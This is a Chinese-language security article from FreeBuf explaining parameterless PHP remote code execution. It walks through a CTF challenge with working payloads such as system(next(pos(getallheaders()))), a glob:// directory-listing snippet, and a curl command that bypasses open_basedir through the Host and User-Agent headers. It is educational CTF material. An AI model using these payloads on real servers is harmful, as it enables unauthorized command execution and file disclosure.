freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

无参数读文件和RCE的利用
2022-03-17 10:49:49
所属地 广东省

最近研究了一个以前的题目,涉及到无参数RCE,所以写了一篇文章来记录,首先来看原理。

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

根据代码,可以发现,这里例如a(b(c()));可以使用,但是a('b')含有参数不能使用。

正常情况下,print_r(scandir('.'));可以用来查看当前目录所有文件名。

但是要怎么构造参数里这个点呢?

这里就需要使用到localeconv()函数。

localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."

1647485327_6232a18fb8e45a26bbd4d.png!small

这里还有一个知识点,就是从数组中取得数据,可以用到如下函数。

1647485335_6232a1972fc186952c3e9.png!small

这样我们就可以获取数组的第一项。

print_r(scandir(current(localeconv())));

1647485345_6232a1a141858fd9d20c1.png!small

这样就成功打印了当前目录。

那么我们可以利用getallheaders()来达成RCE,但是该函数只能在Apache环境下使用。

system(next(pos(getallheaders())));

这样我们在headers中输入命令内容,使用getallheaders来获取就达成了简单的RCE。

利用的方法还有很多。

为了更好的理解,我们来看一个以前的赛题。

题目代码如下:

$token = sha1($_SERVER['REMOTE_ADDR']);
$file = '../sandbox/'.$token.'/';
is_dir($file) ?: mkdir($file);
is_file($file.'index.php') ?: file_put_contents($file.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
case 'go':
header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
break;
case 'reset':
system('rm -rf '.$file);
break;
default:
show_source(__FILE__);

访问?action=go。

<?php
sha1($_SERVER['REMOTE_ADDR']) === 'xxx' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

通过获取headers的方式,可以设置ua来传入字符串,成功执行命令。

disable_classes:GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIteratordisable_functionssystem,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,assert,dl,set_time_limit,ignore_user_abort,symlink,link

由于disable_classes和disable_functions的设置,导致后面open_baseidr完全没办法绕过,但我们可以用glob协议读取目录。

if ($dh = opendir('glob:///*/*/*/*')) {while (($file = readdir($dh)) !== false) {echo $file.' ';}closedir($dh);}

这里涉及到一个知识点,对于不同的请求来说,open_basedir都是不同的,那么服务端就需要获取请求的地址,然后做解析,这部分的配置一般是由apache来做的,但如果请求的host中不包含这个sha1的字符串,那么就可以让后端无法获取到这个字符串,就会将open_basedir设置为/var/www/sandbox,就可以读取这个目录下的文件了。

curl "http://xxx/47933bf3ea6c89fb70bb9c63930val(next(getallheaders()));" -H "User-Agent: show_source('../init.php');" -H "Host: .sandbox.r-cursive.ml"
ini_set("open_basedir", $_SERVER['DOCUMENT_ROOT']."/:/tmp/");
# rce
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者